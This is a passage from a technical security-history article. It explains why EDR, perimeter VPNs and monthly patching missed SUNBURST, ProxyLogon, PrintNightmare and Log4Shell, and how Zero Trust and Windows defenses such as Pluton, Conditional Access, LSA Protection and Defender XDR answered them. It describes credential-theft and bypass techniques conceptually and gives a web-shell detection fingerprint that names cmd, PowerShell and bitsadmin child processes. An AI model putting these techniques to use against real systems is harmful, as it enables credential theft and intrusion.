> **Key idea:** Universal libraries with deep transitive-dependency footprints are the new universal attack surface. "What versions of what library are in my fleet" was a question the typical enterprise could not answer in December 2021, and that gap is what accelerated SBOM from a policy document to operational tooling.
Four incidents in thirteen months. Four assumptions broken. The next section asks what the prior-decade controls were actually doing that whole time.
## 4. Why Prior Art Did Not Catch Any of the Four
If the prior decade had quietly elevated four assumptions to invariants, the prior-decade controls had been quietly enforcing them. Here is what each one was actually doing during 2020-2021.
**Endpoint EDR alone.** The 2018-2020 industry consensus was that endpoint detection and response, plus a SIEM, plus a security operations centre, plus periodic threat hunting, constituted tractable defense-in-depth. The model worked against malware. It did not work against SUNBURST, because the binary that executed was the one EDR was specified to trust: signed by SolarWinds, on the approved publisher list, distributed via the customer's own patch-management pipeline. It did not work against ProxyLogon either, because the entry was an unauthenticated HTTPS request to a publicly reachable Exchange front-end, and the resulting web shell was an ASPX file served by `w3wp.exe` (the IIS worker process) -- not a malware drop. By the time EDR had behavioral telemetry on either case, the post-compromise phase was several steps along. Microsoft's own Digital Defense Report acknowledged the posture in plainer language: the industry had become competent at *finding* attackers after the fact, not at stopping them at first execution [@mddr-2021-specific].
**Perimeter VPN and Network Access Control.** The defense-in-depth posture of the 2010s assumed the inside of the corporate network was a higher-trust zone than the outside, accessed via a VPN concentrator on the boundary. BeyondCorp's 2014-2017 publication sequence had already named the assumption as architecturally wrong: the December 2014 Ward and Beyer paper [@ward-beyer-2014-usenix], the Spring 2016 Osborn et al. design-to-deployment paper [@beyondcorp-osborn-2016], the Winter 2016 Cittadini et al. access-proxy paper [@beyondcorp-cittadini-2016], the Summer 2017 Peck et al. migration paper [@beyondcorp-peck-2017], and the Fall 2017 Escobedo et al. user-experience paper [@beyondcorp-escobedo-2017] together document Google's transition off the privileged-intranet assumption and onto the public internet. SolarWinds did the empirical version of the same argument. The attacker was *already inside* the privileged-intranet zone, by virtue of a trusted vendor's signed update being a legitimate inhabitant of that zone. Anything the perimeter VPN was enforcing was being enforced against a population that did not include the attacker.
**Patch Tuesday as the universal cadence.** Microsoft's Patch Tuesday cadence -- the second Tuesday of every month, published at 10 AM Pacific Time -- was the assumed coordination point for the entire Windows defense industry [@ms-release-cycle]. Detection engineering, change management, scheduled-maintenance windows, and operator workflow all keyed on that monthly rhythm. Between March and August 2021, Microsoft issued multiple out-of-band emergency Exchange and Windows updates [@msft-hafnium-blog, @kb5005010]. The cadence's predictability -- the very property that scaled it to a global operator base -- was the property that made out-of-band patches feel like emergencies. The cadence broke under load not because the model was wrong but because the model assumed the load would not arrive in a sustained burst.
The clustering of out-of-band patches matters as a measured cadence-failure signal. Patch Tuesday absorbs routine load; it does not absorb a clustering of pre-auth RCEs in Exchange Server and Print Spooler within four months. The 2021 cluster was a stress test on the cadence itself, and one of the post-incident operator complaints (from administrators of Domain Controllers required to reboot for the July 6-7 PrintNightmare OOB) was that the cadence's monthly rhythm had been training operations teams for a different threat model than the one 2021 produced.
> **Note:** All three prior-art positions -- endpoint EDR, perimeter VPN, monthly patch cadence -- assumed the trust boundary was knowable. EDR knew which binaries were trusted (the signed ones). The VPN knew where the boundary was (between the corporate LAN and the public internet). Patch Tuesday knew when updates would arrive (the second Tuesday of every month). The 2020-2023 cluster proved each boundary was something other than where the prior decade had placed it. The pivot was already on the shelf; it had just not yet become operative.
## 5. Zero Trust Was Already on the Shelf
There is a startling chronology fact here. NIST Special Publication 800-207, *Zero Trust Architecture* [@nist-sp-800-207], was published in August 2020. The Mandiant SUNBURST disclosure was December 13, 2020. Zero Trust was not a response to SolarWinds. It was the vocabulary already on the shelf when SolarWinds needed it.
**The intellectual chain.** Zero Trust is not a single document but a tradition with a thirteen-year arc. Four named milestones structure that arc.
In September 2010, John Kindervag, then at Forrester Research, published "No More Chewy Centers: Introducing the Zero Trust Model of Information Security" [@kindervag-2010-forrester, @isc2-15-years-zt, @illumio-15-years-zt]. The framing was network-segmentation-first and rhetorically unforgettable:
"Information security professionals must eliminate the soft chewy center by making security ubiquitous throughout the network, not just at the perimeter." -- John Kindervag, Forrester Research, "No More Chewy Centers," September 14, 2010
In December 2014, Rory Ward and Betsy Beyer of Google published "BeyondCorp: A New Approach to Enterprise Security" in USENIX `;login:` magazine [@ward-beyer-2014-usenix]. The paper documented Google's transition from a privileged-intranet model to one in which every internal application was reachable on the public internet and every access decision was made on the basis of authenticated user and managed-device identity. A series of further BeyondCorp papers through 2017 worked out the engineering details. BeyondCorp is a *production implementation* of Zero Trust principles; it is not "the framework," and Ward and Beyer do not claim it is.
Between 2017 and 2018, Forrester elaborated the original framing into Zero Trust eXtended (ZTX), a seven-pillar taxonomy, and Gartner introduced CARTA -- Continuous Adaptive Risk and Trust Assessment -- as a complementary continuous-evaluation framing.ZTX gave the framework a procurement-friendly seven-pillar map; CARTA reframed access decisions as continuous rather than session-initial. Neither produced a complete architectural specification, which is the gap NIST SP 800-207 was published to fill in August 2020.
In August 2020, NIST published SP 800-207 [@nist-sp-800-207]. Authored by Scott Rose, Oliver Borchert, Stu Mitchell, and Sean Connelly, SP 800-207 synthesized Kindervag's framing, BeyondCorp's worked example, ZTX's taxonomy, CARTA's continuous evaluation, and federal Trusted Internet Connections (TIC) guidance into a vendor-neutral architecture. The architectural primitives the document names -- Policy Decision Point, Policy Enforcement Point, Policy Engine, and Policy Administrator -- become the load-bearing vocabulary for every subsequent Zero Trust treatment.
An architectural orientation that refuses the assumption of a privileged inside network and decides every access on the basis of authenticated identity, device posture, and contextual signals at the moment of access. The term was coined by John Kindervag at Forrester in September 2010 [@kindervag-2010-forrester]. BeyondCorp [@ward-beyer-2014-usenix] is Google's production implementation, not the framework. NIST SP 800-207 [@nist-sp-800-207] is the vendor-neutral architectural specification. The Microsoft three-principle formulation ("Verify Explicitly, Use Least Privilege, Assume Breach" [@ms-zt-overview]) is *one* specialization of an older tradition; it is not the original.
The two load-bearing primitives in NIST SP 800-207's Zero Trust architecture [@nist-sp-800-207]. The Policy Decision Point is the component that evaluates an access request against policy, user identity, device posture, and contextual signals and produces a decision. The Policy Enforcement Point is the component that intercepts the request and enforces the decision the PDP returns. In Microsoft's stack, Conditional Access [@ms-conditional-access] is the PDP for cloud-application access decisions; the resource (Exchange Online, SharePoint, a custom app) is the PEP. The PDP and PEP can be co-located or remote; the architectural distinction is the one that matters.
flowchart LR
A[Kindervag Forrester 2010, No More Chewy Centers] --> B[Google BeyondCorp 2014 to 2017, USENIX login]
B --> C[Forrester ZTX 2017 to 2018]
A --> C
A --> D[Gartner CARTA 2017 to 2018]
C --> E[NIST SP 800-207 August 2020]
D --> E
B --> E
E --> F[Microsoft three-principle 2021 to 2022]
E --> G[EO 14028 May 2021 and OMB M-22-09 January 2022]
G --> H[CISA ZTMM v2.0 April 2023]
E --> H
The Microsoft three-principle adoption -- Verify Explicitly, Use Least Privilege, Assume Breach -- runs through Microsoft Build 2022's Zero Trust keynote programming and through the Microsoft Learn Zero Trust overview that codifies the framing as Microsoft documentation [@ms-zt-overview]. Federal adoption became binding in OMB M-22-09 on January 26, 2022 [@omb-m-22-09], which required Federal Civilian Executive Branch agencies to align with SP 800-207 and the CISA Zero Trust Maturity Model by end of FY24, with phishing-resistant multi-factor authentication as the identity-pillar baseline.
> **Key idea:** Zero Trust is not a 2020 invention, and the SolarWinds-HAFNIUM-PrintNightmare-Log4Shell clustering is not what *created* the architecture. The vocabulary was already on the shelf in August 2020. The thirteen-month incident clustering is what made the vocabulary operative for the Windows industry -- because the incident clustering invalidated four separate assumptions simultaneously, and only an architectural pivot at the perimeter-trust level addressed all four.
The vocabulary existed in August 2020. The receipt arrived in December 2020. Section 6 walks the four Windows-side primitives that operationalized the vocabulary at scale.
## 6. The Defensive Layer That Shipped at Scale (2021-2023)
Vocabulary becomes architecture only when something ships. Here are the four Windows-side primitives that operationalized Zero Trust between 2021 and 2023.
### 6.1 Microsoft Pluton: The Hardware Response to a Supply-Chain Class
On November 17, 2020 -- three weeks before Mandiant's SUNBURST disclosure -- David Weston announced the [Microsoft Pluton security processor](/blog/pluton-a-tpm-on-silicon-microsoft-can-patch/) [@weston-2020-pluton]. The announcement named the architectural goal directly. Discrete [Trusted Platform Modules](/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/) sit on the LPC or SPI bus that runs between the CPU package and the motherboard chipset; the bus is observable with a logic analyzer. The 2019 Pulse Security research by Denis Andzakovic [@pulse-tpm-sniffing], the 2021 SCRT reproduction [@scrt-tpm-sniffing], and Henri Nurmi's 2022 WithSecure Labs SPI follow-up [@withsecure-tpm-sniffing] had all demonstrated that the [BitLocker Volume Master Key](/blog/bitlocker-on-windows-architecture-attacks-and-the-limits-of-/) transiting that bus was extractable with a forty-dollar FPGA. Pluton's architectural answer was to eliminate the bus. Place the security processor *inside* the CPU package, and the BitLocker key never traverses an externally observable trace.
Pluton is not a 2020 design. The same Microsoft Security and Pluton team shipped its first production silicon on the Xbox One in 2013, where the security processor was the anti-piracy and DRM key-storage root of trust. Galen Hunt's team then shipped a Pluton-derived security subsystem on Azure Sphere MCUs from April 2018, where it served as the secure-boot, runtime-attestation, and Microsoft-managed-firmware-update root for the IoT-microcontroller class [@azure-sphere-2018-azure-mirror]. The November 2020 announcement [@weston-2020-pluton] was the commitment to ship a mature security-processor design on general-purpose Windows PCs, not a new design.
A security processor co-designed by Microsoft, AMD, Intel, and Qualcomm, announced in November 2020 [@weston-2020-pluton] and shipped commercially in May 2022 on Lenovo ThinkPad Z13 and Z16 systems with AMD Ryzen 6000 SoCs -- the Lenovo StoryHub press release confirms the ship vehicle ("ThinkPad Z13 will be available from May 2022, starting from $1549" and "ThinkPad Z16 will be available from May 2022, starting from $2099"), and David Weston's CES 2022 Microsoft Windows Experience Blog post the same day names the same Pluton-on-Ryzen-6000 ThinkPad Z ship vehicle [@lenovo-thinkpad-z-press-jan2022, @pluton-windows-blog-jan2022]. Pluton can operate in three modes: as a TPM 2.0 implementation co-resident on the CPU die (the default on consumer Windows 11 systems where Pluton is enabled), as a security processor alongside a separate discrete TPM, or disabled at the OEM level [@ms-pluton-learn]. The architectural goal is to close the TPM bus-sniffing class by eliminating the external bus, not to add new cryptographic capability beyond what TPM 2.0 already specifies.
flowchart TD
subgraph DiscreteTPM[Discrete TPM topology]
A1[CPU package] -- LPC or SPI bus, externally observable --> A2[Discrete TPM chip]
A2 --> A3[VMK released to CPU at boot]
A4[Attacker with logic analyzer] -. sniffs bus traffic .-> A1
end
subgraph PlutonTopology[Pluton topology]
B1[CPU package containing Pluton] --> B2[VMK released inside package, no external bus]
B3[Attacker with logic analyzer] -. nothing to sniff .-> B1
end
> **Note:** Matthew Garrett's April 2022 analysis of an AMD Ryzen 6000 firmware image documented that the PSP directory entry 0xB, bit 36, is an OEM-controlled toggle that disables Pluton at the firmware level [@mjg59-pluton]. Garrett's analysis confirmed Pluton silicon was present on his test machine and could be disabled by the OEM, not by the end user. The architectural implication is that "the system has a Pluton" and "Pluton is enabled and acting as the TPM" are independent claims, and an enterprise threat model that turns on the latter needs verification, not inference from the former.
The framing the Pluton announcement made explicit is the one that matters in the context of this article. Pluton is the *hardware* response to a *supply-chain class*. Discrete TPM was a supply chain answer for cryptographic identity; the LPC and SPI buses are a supply chain leak point because they cross a packaging boundary. Pluton closes the leak point by collapsing the boundary. The fact that the announcement landed three weeks before SUNBURST is coincidence; the fact that the two events name the same architectural problem at different layers is not.
### 6.2 The Windows 11 Hardware Baseline
Windows 11 reached general availability on October 5, 2021 [@win11-introducing]. The new install gate required TPM 2.0 and [UEFI Secure Boot](/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/) [@win11-specs] -- the first mainstream Microsoft operating system to require hardware roots of trust as a precondition for installation. The Windows installer verifies both at the install screen and refuses to proceed on systems that lack them.
The registry workaround at `HKLM\SYSTEM\Setup\MoSetup\AllowUpgradesWithUnsupportedTPMOrCPU` allows installation on systems with TPM 1.2 or an unsupported CPU model, but only as an in-place upgrade and only with explicit warning that the configuration is unsupported. The workaround is not part of the official install path; it documents the existence of an escape hatch without endorsing it. The architectural claim ("Windows 11 requires TPM 2.0 by official policy") is the operative one for fleet management.
The baseline does not eliminate the bootkit class. BlackLotus, disclosed in 2023, exploited CVE-2022-21894 to defeat Secure Boot on systems that had not patched the underlying bootloader vulnerability [@eset-blacklotus-2023]. The hardware-root-of-trust install gate is a baseline, not a ceiling. What it accomplishes architecturally is a population-level shift: by mid-2024, the median Windows 11 installation has a TPM, has Secure Boot enabled, and has measured boot data that VBS-based defenses (Credential Guard, HVCI) can layer on top of. Credential Guard in particular reached default-enabled status on hardware that meets the requirements in Windows 11 22H2 [@ms-credential-guard].
### 6.3 Conditional Access, CAE, and the Primary Refresh Token
The cloud-identity defense stack is the primitive that the four incidents most directly produced. Three components compose it, with explicit period-correct naming.
Microsoft's Zero Trust policy engine for Microsoft Entra ID (formerly Azure AD) [@ms-conditional-access]. A Conditional Access policy is an if-then statement that takes signals (user identity, group memberships, device compliance state, location, sign-in risk score, application being accessed) and produces an enforcement decision (allow, require multi-factor, require compliant device, block). Conditional Access policies act as the Policy Decision Point in the NIST SP 800-207 architecture; the resource being accessed acts as the Policy Enforcement Point.
The mechanism by which a resource server can be informed mid-session that the user's risk state has changed and the existing access token should be re-evaluated [@ms-cae]. CAE is Microsoft's implementation of the OpenID Continuous Access Evaluation Profile (CAEP) [@openid-caep-spec], a Shared Signals and Events Framework standard. The Microsoft Learn CAE documentation describes critical-event evaluation as near real-time with up to fifteen minutes of event-propagation delay for some signals; IP-location policy enforcement propagates instantly [@ms-cae]. The initial supported relying parties are Exchange Online, SharePoint Online, and Teams [@ms-cae].
A long-lived authentication artifact issued by Microsoft Entra ID to first-party token brokers on Microsoft Entra joined and hybrid-joined devices [@ms-prt]. The PRT enables single sign-on across the applications used on those devices. The PRT's session key is non-exportable: on TPM-enabled devices the key is bound to the TPM and cannot be extracted from the machine. The PRT is the artifact that makes "compliant device" a meaningful signal in Conditional Access policies, because possession of a valid PRT cryptographically demonstrates the user is signing in from the specific device the PRT was issued to.
The "Azure AD" to "Microsoft Entra ID" rename history matters for citations and for tooling. Azure AD was the canonical name through July 11, 2023; the Microsoft Entra family umbrella was introduced on May 31, 2022 (Vasu Jakkal's Microsoft Security Blog post "Secure access for a connected world--meet Microsoft Entra" naming Azure AD, Cloud Infrastructure Entitlement Management, and decentralized identity as the initial family members [@ms-entra-launch-may2022]) but applied only to specific product families at that point; the Azure AD-to-Entra ID rename was July 11, 2023 [@ms-entra-rebrand]. Documentation written in 2021-2022 uses "Azure AD" throughout; documentation written after July 2023 uses "Microsoft Entra ID" throughout. Both names refer to the same product.
flowchart LR
A[User on Entra-joined device] --> B[Device requests PRT, TPM-bound session key]
B --> C[Entra ID issues PRT]
C --> D[App access request, includes PRT-derived access token]
D --> E[Conditional Access policy engine, the PDP]
E --> F{"Signals, identity, device, location, risk score"}
F --> G[Decision: allow, MFA, block]
G --> H[Resource server, the PEP]
H --> I[CAE channel back to Entra]
I --> J[Risk-event signal triggers re-evaluation]
J --> E
Together, the three primitives operationalize the Zero Trust framing in the Microsoft cloud-identity layer. [Conditional Access](/blog/who-decided-this-token-is-good-a-field-guide-to-conditional-/) decides at the PDP; CAE keeps the decision live after the initial sign-in; the [PRT](/blog/inside-the-primary-refresh-token-the-cryptographic-seam-betw/) with TPM hardware binding makes the device-identity signal cryptographically meaningful rather than reputational. Microsoft Entra ID Protection layers risk-based signal-scoring on top, with detections for anomalous tokens, atypical travel patterns, and suspicious multi-factor approval flows [@ms-identity-protection-risks].
### 6.4 LSA Protection and the Vulnerable Driver Blocklist
The fourth Windows-side primitive is the pair of defaults that landed in 2022-2023 against credential-theft and bring-your-own-vulnerable-driver attacks respectively.
A Windows mechanism, introduced as an opt-in feature on Windows 8.1 and Windows Server 2012 R2 [@ms-lsa-protection], that runs the Local Security Authority subsystem (`lsass.exe`) as a Protected Process Light. The PPL status prevents non-PPL processes (including those running as SYSTEM) from opening LSASS with the access rights required for memory inspection or code injection. Mimikatz-style credential extraction from LSASS memory becomes unavailable to malware running outside the PPL trust level. The Microsoft Learn Windows 11 Security Book confirms the current default behavior: "LSA protection is enabled by default on all devices to help safeguard credentials. For new installations, it activates immediately. For upgrades, it becomes active after a five-day evaluation period followed by a system reboot" [@ms-win11-credprot-book] -- the audit-then-enforce rollout pattern that turned the opt-in 2013-era control into a default-on Windows 11 22H2 primitive; upgraded systems and systems flagged as incompatible remain opt-in.
An attack pattern in which the attacker installs a *legitimately signed* third-party kernel driver that contains a known vulnerability, then exploits the driver's vulnerability to obtain kernel-mode code execution. The attacker thereby converts a userspace foothold into a kernel-mode foothold without writing kernel code that would have to pass Microsoft's signing process. The Vulnerable Driver Blocklist [@ms-driver-blocklist] is Microsoft's curated list of drivers known to be exploitable for BYOVD; Microsoft's KB5020779 -- titled "The vulnerable driver blocklist after the October 2022 preview release" -- states explicitly that "Starting with Windows 11, version 22H2, the blocklist is also enabled by default on all devices" [@ms-kb5020779-driverblocklist], anchoring both the October 2022 servicing milestone and the 22H2 default-on rollout. Community catalogs like LOLDrivers [@loldrivers] track the broader population.
The defaults matter precisely because the opt-in posture from 2013 onward did not produce population-level coverage. [LSA Protection](/blog/protected-process-light-when-the-administrator-isnt-enough/) had been available for nine years before it shipped as a default; Vulnerable Driver Blocklist was available as a WDAC policy for several years before the default. The change in 2022-2023 is not the existence of the controls but the population they cover by default. Windows 11 22H2 fleets in 2024-2026 are the first Windows population in which a meaningful fraction of installs are LSA-Protected at sign-in and blocking the canonical [BYOVD drivers](/blog/windows-kernel-code-integrity-2006-2026/) at kernel-load time, on the default install path, without an administrator having configured the feature.
These four primitives -- Pluton at silicon, the Windows 11 hardware baseline at the OS install gate, Conditional Access with CAE and PRT at the cloud-identity layer, LSA Protection and Vulnerable Driver Blocklist as defaults on the endpoint -- are coherent if and only if they are layered. The fifth primitive, the Defender XDR composition plane, is what *makes* them layerable in practice.
### 6.5 Microsoft Defender XDR: The Composition Primitive
No single Defender product covers the full attack chain of any of the four 2020-2023 incidents. SUNBURST touches the endpoint, on-premises Active Directory, ADFS, and Microsoft 365 in sequence. ProxyLogon touches the IIS worker process, the file system, and downstream Exchange mailboxes. PrintNightmare touches the Spooler RPC interface on a Domain Controller. Log4Shell touches a Java application's process tree on Windows. The detection telemetry for each lives in a different product surface.
The unified incident-correlation and advanced-hunting plane that consolidates four product-level Defender products into a single security operations surface at `security.microsoft.com`. The four products are Microsoft Defender for Endpoint (workstation and server EDR), Microsoft Defender for Identity (on-premises Active Directory and ADFS detection) [@ms-defender-identity-creds], Microsoft Defender for Cloud Apps (cloud-session anomaly detection) [@ms-defender-cloud-apps-anomaly], and Microsoft Defender for Office 365 (email and collaboration phishing detection). XDR contributes three primitives the individual products cannot provide on their own: a common Kusto Query Language advanced-hunting schema across the four telemetry streams, incident correlation that groups alerts across products into a single cross-domain incident, and Automated Investigation and Response playbooks that span product boundaries.
The architectural role of each product against the article's incident set is specific.
**[Defender for Identity](/blog/microsoft-defender-for-identity-the-defensive-ad-stack-that-/)** sources from Domain Controller event streams and from ADFS event logs. Its load-bearing detections against the SolarWinds-class follow-on are the SACL-based [DCSync detection](/blog/two-checkmarks-and-the-keys-to-the-kingdom-how-active-direct/) (which audits the three Directory-Replication-Get-Changes extended-rights GUIDs against AD event 4662 for non-DC principals) and the Golden SAML composite signal, which fuses an ADFS-anomaly alert with a downstream cloud-session anomaly and an Entra ID Protection risk-score elevation into a single correlated incident [@ms-defender-identity-creds]. The on-premises attack and the cloud-side forged-token consequence get joined in one investigation rather than two.
**Defender for Endpoint** carries the canonical ProxyLogon-class fingerprint: the IIS worker process `w3wp.exe` spawning `cmd.exe`, `powershell.exe`, `cscript.exe`, or `bitsadmin.exe` as a direct child [@ms-webshell-hunting-2021-feb]. The fingerprint generalizes beyond Exchange. The same parent-child pattern is the canonical web-shell pivot for ProxyShell against Exchange Server, for OGNL injection against Atlassian Confluence, and for any Java application-server exploitation against Tomcat on Windows in which the post-exploitation step drops a shell. One detection rule, multiple incident classes.
**Defender for Cloud Apps** runs the anomaly-detection plane against cloud sessions [@ms-defender-cloud-apps-anomaly]. The seven-day learning window builds a per-user behavioral baseline; subsequent sessions are scored against the baseline across impossible-travel, geographic deviation, device-fingerprint deviation, claim-set deviation, and token-lifetime deviation axes. The architectural significance against Storm-0558-class incidents is precisely that the cryptographic verification path will (by definition) accept a token forged with a stolen signing key -- so the catch has to happen at the behavioral layer rather than the signature layer. Defender for Cloud Apps is the heuristic anomaly net under the cryptographic floor.
**Defender for Office 365** runs the upstream-vector layer for email and collaboration spearphishing -- the operator-pre-exploitation phase common to SolarWinds-class and HAFNIUM-class operations where the actor builds initial reconnaissance and credential access before reaching the production network. Its role in the article's incident set is preventive rather than detective: closing the recon entry path before the lateral-movement phase has a chance to begin.
flowchart TD
A[Defender for Endpoint] --> E[Common KQL advanced-hunting schema]
B[Defender for Identity] --> E
C[Defender for Cloud Apps] --> E
D[Defender for Office 365] --> E
E --> F[Incident correlation engine]
F --> G[Cross-domain incidents]
G --> H[Automated Investigation and Response]
H --> I[Cross-product remediation playbooks]
The canonical example of why XDR is the composition primitive: the SUNBURST chain produces a Defender for Endpoint network-beacon alert on the customer's Orion server (the SUNBURST DGA C2 callback), a Defender for Identity ADFS-token-extraction alert when the attacker takes the token-signing key off the ADFS host, a Defender for Cloud Apps Golden-SAML-pivoted session alert when the forged token authenticates against Exchange Online, and an Entra ID Protection forged-token sign-in alert with an anomalous claim set. Four product-level alerts. One real incident. Without the correlation plane, the alerts arrive as four separately triaged tickets; with it, they arrive as one investigation.
The framing the §6 architecture lands on is that the composition is structurally necessary. No 2020-2021 incident is *covered* by one of the five primitives alone. The 2022-2023 step forward is that all five primitives ship at scale; the load-bearing architectural argument is that none of them is sufficient in isolation. The next section walks the three competing architectural positions that determine *how* they are layered in practice.
## 7. Three Live Zero Trust Specifications
There is not one Zero Trust architecture in 2024-2026. There are three, and they are not interchangeable. Each closes a different gap; none closes all three.
**Microsoft full-stack Zero Trust.** The Microsoft posture is tightly integrated: Microsoft Entra ID for identity, Defender XDR for endpoint and cloud telemetry, Intune for device management, Purview for data classification, with Conditional Access as the policy engine that ties them together [@ms-zt-overview, @ms-zt-learn]. Microsoft Inside Track's published case study describes Microsoft's own seven-year internal transformation along this stack, anchored on four canonical scenarios: phishing-resistant MFA everywhere, device health attested before access, pervasive telemetry, and least-privilege enforcement [@ms-zt-at-microsoft]. Microsoft's deployment guide hub organizes the architecture along six pillars (Identity, Endpoints, Applications, Data, Infrastructure, Networks). Microsoft maintains a customer-stories portal at `customers.microsoft.com` with published case studies across consumer-goods, financial-services, healthcare, and public-sector cohorts. The case for the full-stack posture: operational coherence, integrated telemetry across identity and device, one policy plane to reason about. The case against: single-vendor risk, which SolarWinds made acutely concrete -- a posture in which one vendor supplies your operating system, identity provider, endpoint, and cloud productivity stack is architecturally homogeneous in exactly the way SUNBURST taught the industry to interrogate.
**Best-of-breed multi-vendor.** The third-party alternative composes an identity-as-a-service provider (Okta or Ping Identity), a third-party EDR (CrowdStrike Falcon or SentinelOne), a Secure Service Edge or Secure Web Gateway (Palo Alto Prisma or Zscaler), and a separate SIEM and SOAR for telemetry and orchestration. Okta's customer-stories portal positions itself around a "two-thirds of the Fortune 100" framing [@okta-customers]; the multi-vendor cohort spans Fortune 500 deployments across logistics, telecom, hospitality, and retail, with case studies on Okta's per-customer pages [@okta-customers]. The case for: cross-vendor coverage of the supply-chain class, on the principle that two independent vendor failures are less correlated than one. The case against: operational complexity, integration burden, and the recursive observation that *any* third-party vendor on the trusted-publisher list is itself a SolarWinds-style trust assumption -- the multi-vendor posture distributes the risk rather than eliminating it.
Both Microsoft's and Okta's customer-stories portals are organized by industry segment and per-customer case-study URL; specific named-customer cohorts vary as case studies are added, retired, or refreshed, so this article keeps the cohort framing at the industry-segment level rather than enumerating a fixed list of named brands [@ms-zt-at-microsoft, @okta-customers].
**Federal Zero Trust (CISA ZTMM v2.0 and the OMB M-22-09 baseline).** CISA published the Zero Trust Maturity Model v2.0 in April 2023 [@cisa-ztmm-v2]. The model defines a vendor-neutral architecture across five pillars (Identity, Devices, Networks, Applications and Workloads, Data) with three cross-cutting capabilities (Visibility and Analytics, Automation and Orchestration, Governance) and four maturity stages (Traditional, Initial, Advanced, Optimal). OMB Memorandum M-22-09 set the FY24 implementation baseline [@omb-m-22-09]. The DHS-specific operationalization, *CISA Zero Trust Architecture Implementation*, was published in January 2025 as the playbook for the department-level rollouts [@dhs-zta-impl]. The GAO audit GAO-24-106343 reported in March 2024 that the lead-implementation agencies (CISA, NIST, OMB) had fully completed 49 of 55 EO 14028 requirements, partially completed 5, with one not applicable [@gao-24-106343]. The SEC Office of Inspector General's September 2023 Final Management Letter is the canonical published example of an agency-level M-22-09 readiness review [@sec-oig-zt-mgmt-letter]. The case for: auditability, procurement neutrality, alignment with the federal mandate, and a measurable scorecard. The case against: it is a maturity model rather than an architectural specification, and adoption pace across federal civilian agencies has lagged the FY24 target the OMB memo set.
| Pillar / Cost dimension | Microsoft full-stack | Best-of-breed multi-vendor | Federal CISA ZTMM v2.0 |
|---|---|---|---|
| Trust root | Microsoft Entra ID + Microsoft Pluton | Mixed (Okta or Ping for SAML, third-party EDR) | Vendor-neutral; agency choice within five pillars |
| Identity plane | Entra ID with Conditional Access, CAE, PRT | Okta or Ping with SAML to downstream apps | Identity pillar with phishing-resistant MFA baseline |
| Endpoint | Defender for Endpoint | CrowdStrike Falcon or SentinelOne | Devices pillar; agency-selected EDR |
| Network | Microsoft Global Secure Access | Palo Alto Prisma or Zscaler | Networks pillar; SASE neutral |
| Integration FTE estimate | Low to medium (single-vendor APIs) | High (cross-vendor API integration) | Medium to high (M-22-09 compliance overhead) |
| Vendor supply-chain blast radius | Concentrated at one vendor | Distributed across four-plus vendors | Distributed; auditability primary |
Per-vendor licensing is the visible cost. The hidden cost is the engineering FTE the organization needs to maintain the integration graph between products: SCIM provisioning between IdP and downstream apps; SIEM connector maintenance across product versions; cross-product alert-correlation logic that the XDR composition plane handles for free in the Microsoft full-stack but has to be built from scratch in the best-of-breed posture. Federal cohort budgets generally absorb this via a dedicated cybersecurity-modernization line item that commercial Zero Trust pilots rarely receive. The integration-FTE cost is the most under-discussed input to the three-position choice.
All three are responses to the same incident clustering; none of them closes the structural ceiling the next section names.
## 8. What Even Perfect Execution Cannot Reach
If the four 2020-2021 incidents broke four engineering assumptions, the three bounds in this section are not engineering. They are mathematics and architecture.
**Thompson's "Trusting Trust."** A compiler that compiles itself can embed a backdoor that survives indefinitely with no trace in any audited source [@thompson-1984-acm, @thompson-nakamoto-reading]. SLSA addresses the *visibility* problem (what is in your supply chain) by attesting to build steps and provenance [@slsa-v1-levels]. SBOM addresses the *composition* problem (what components are in your artifact) by inventorying dependencies. Neither addresses the *trust* problem (what your supply-chain participants chose to do at points the attestations do not cover). SLSA Build Level 3 hardens the build platform; the hardened build platform's own toolchain is still an implicit trust root, and an attacker who compromises the toolchain at a layer below the attestation produces attested artifacts that are nevertheless malicious. The 1984 bound is not closed by 2026 supply-chain tooling.
A foundational result in computability theory (Henry Rice, 1953) stating that for any non-trivial semantic property of programs, no algorithm decides whether an arbitrary program has that property. The theorem bounds what static analysis of program behavior can achieve: no analyzer can decide, in general, whether a program will exfiltrate data, alter records, escalate privileges, or otherwise perform a given semantic action. Fred Cohen's 1984 "Computer Viruses: Theory and Experiments" applied the same bound to malware detection [@cohen-1984-virus]: no general algorithm can decide whether a program is a virus. SBOM tells you *what* is running; Rice tells you it cannot tell you whether what is running is safe.
**Cohen 1984 and Rice's Theorem.** SBOM data, combined with vulnerability databases, can answer "do we have a known-vulnerable component?" -- and Log4Shell IR proved that answer's value. SBOM cannot answer "is the component we have behaving safely?" -- and the post-Log4Shell follow-on CVEs proved that gap's reality. The composition is decidable; the semantics is not. Rice's Theorem is the bound on what an SBOM-plus-CVE-database posture can detect at scale.
**The same-privilege paradox at the orchestration plane.** A Zero Trust policy engine that decides every access decision is itself a privileged component. If the policy engine is compromised, the decisions it produces are not trustworthy, and the resources downstream of the engine cannot tell legitimate decisions from forged ones. Microsoft's "Assume Breach" third principle [@ms-zt-overview] is the operational acknowledgment that this ceiling is unsolved rather than closed -- "Assume Breach" is a posture for limiting blast radius after compromise, not a mechanism for preventing the compromise of the orchestration plane itself.
The 1984 result was load-bearing in December 2020. The 1953 theorem is load-bearing in December 2026. Both are still load-bearing, and the post-2023 stack does not close either.
## 9. Five Things 2026 Still Cannot Do
The Generation 5 stack walked in Section 6 is a necessary architectural pivot. It is not sufficient. Five honest residuals close out the open-problem framing.
**Build-pipeline trust at scale.** SLSA Build Level 3 adoption remains incomplete in 2026. Reproducible builds are still a research aspiration on most Linux distributions and an aspirational footnote on Windows. The median enterprise cannot answer "did this binary come from this source commit?" with cryptographic evidence; the answer in practice is "the vendor's release notes say so." in-toto attestations [@in-toto-home] cover specific build steps in mature deployments. The Generation 5 stack reduces the surface SUNBURST exploited; it does not foreclose it.
**Identity-provider compromise as a class.** Storm-0558 (disclosed July 2023, with the full root-cause investigation published in September 2023) is the post-window existence proof that the policy engine itself is a privileged plane [@msrc-storm-0558]. A 2021 crash dump that should not have contained signing-key material did contain Microsoft's consumer Microsoft Service Account (MSA) signing key; an engineer-account compromise enabled exfiltration of the dump; a validation flaw in Microsoft's enterprise token validation allowed consumer keys to sign enterprise tokens; the attacker forged Outlook Web Access and Exchange Online tokens for approximately twenty-five organizations, including U.S. State Department mailboxes. The incident is queued for Part 6.
